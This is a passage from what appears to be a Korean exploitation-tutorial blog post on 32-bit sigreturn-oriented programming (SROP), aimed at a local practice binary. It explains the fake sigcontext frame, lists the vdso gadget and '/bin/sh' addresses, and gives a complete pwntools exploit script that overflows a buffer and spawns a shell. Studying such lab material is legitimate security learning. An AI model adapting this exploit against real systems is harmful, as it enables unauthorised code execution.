- ss → (user data) 0x2b
- int 0x80 명령어 실행
32bit 환경에서 execve 시스템콜의 번호는 11 (0xb) 이다
sigcontext 구조체 형태로 stack 에 값을 저장할 때 cs, ss 레지스터에 대한 값을 설정해야 한다
32bit 운영체제에서는 0x73, 0x7b 가 사용된다.
64bit 운영체제에서 실행되는 32bit 프로그램의 경우에는 0x23, 0x2b 가 사용된다.
따라서 cs 는 0x23, ss는 0x2b 로 설정하면 된다
공격 순서를 코드로 표현을 하면 다음과 같다
sigreturn()
int 0x80
3. 필요한 정보 구하기
- __kernel_sigreturn() 함수의 주소
- "/bin/sh" 문자열이 저장된 영역
- int 0x80 가젯
위의 3개의 정보를 알아야 한다

리눅스 커널버전, 아키텍처에 따라 시스템콜 가젯의 위치가 달라진다
테스트 프로그램이 32bit 이기 때문에 sigreturn() 함수를 vdso 영역에서 구할 수 있다
먼저 __kernel_sigreturn 함수의 주소이다

__kernel_sigreturn 함수의 주소는 0xf7fc4560이다

__kernel_sigreturn 을 살펴보자
0xf7fc4560 주소를 사용할 경우 pop eax 가 포함되어 있기 때문에 호출 뒤에 임의의 값이 저장되어야 한다.
- __kernel_sigreturn + 4byte + sigcontext
0xf7fc4561 주소를 사용할 경우 mov eax, 0x77 명령어가 실행되기 때문에 호출 뒤에 sigcontext 가 저장되어야 한다
0x77 은 32비트에서 sigreturn 시스템 콜 번호이다.
- __kernel_sigreturn + sigcontext
__kernel_sigreturn 의 주소로 0xf7fc4561 을 사용하자
int 80 의 주소는 0xf7fc4566 이다

메모리 영역을 확인해보면 vdso 는 0xf7fc4000~0xf7fc6000 인 것을 알 수 있다
__kernel_sigreturn() 주소는 0xf7fc4560 로 vdso 영역에 있는 것을 볼 수 있다

"/bin/sh" 문자열이 저장된 주소는 0xf7f3e0d5 이다
4. sigcontext (fake signal frame) 구성
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate __user *fpstate;
__u32 oldmask;
__u32 cr2;
};
32bit 환경의 sigcontext 이다
위의 정보를 바탕으로 signal frame 을 구성해보자
payload += p32(0) #gs
payload += p32(0) #fs
payload += p32(0) #es
payload += p32(0) #ds
payload += p32(0) #edi;
payload += p32(0) #esi;
payload += p32(0) #ebp;
payload += p32(int80) #esp;
payload += p32(binsh) #ebx;
payload += p32(0) #edx;
payload += p32(0) #ecx;
payload += p32(0xb) #eax;
payload += p32(0) #trapno;
payload += p32(0) #err;
payload += p32(int80) #eip;
payload += p32(0x23) #cs
payload += p32(0) #eflags
payload += p32(0) #esp_at_signal
payload += p32(0x2b) #ss
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
- ebx → "/bin/sh" 문자열이 저장된 주소
- eax → execve() 함수의 시스템 콜 번호 (11)
- eip → int 0x80 명령어가 저장된 주소
- cs → (user code) 0x23
- ss → (user data) 0x2b
필요한 레지스터만 설정하고 나머지는 오류를 방지하기 위해 0으로 설정해주었다
5. 페이로드 구성
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = process('./srop32')
sigreturn = 0xf7fc4561
binsh = 0xf7f3e0d5
int80 = 0xf7fc4566
payload = b'\x90' * 66 # buf + SFP
payload += p32(sigreturn) # RET
payload += p32(0) #gs
payload += p32(0) #fs
payload += p32(0) #es
payload += p32(0) #ds
payload += p32(0) #edi;
payload += p32(0) #esi;
payload += p32(0) #ebp;
payload += p32(int80) #esp;
payload += p32(binsh) #ebx;
payload += p32(0) #edx;
payload += p32(0) #ecx;
payload += p32(0xb) #eax;
payload += p32(0) #trapno;
payload += p32(0) #err;
payload += p32(int80) #eip;
payload += p32(0x23) #cs
payload += p32(0) #eflags
payload += p32(0) #esp_at_signal
payload += p32(0x2b) #ss
# pause()
p.send(payload)
p.interactive()
작성한 페이로드는 다음과 같다

셸을 얻은 것을 확인할 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
Stack Pivoting (0) | 2025.04.02 |
---|---|
SROP (x64) (0) | 2025.03.26 |
OOB(Out of Bound) (0) | 2025.03.18 |
Off by one (0) | 2025.03.17 |
PIE (0) | 2024.10.13 |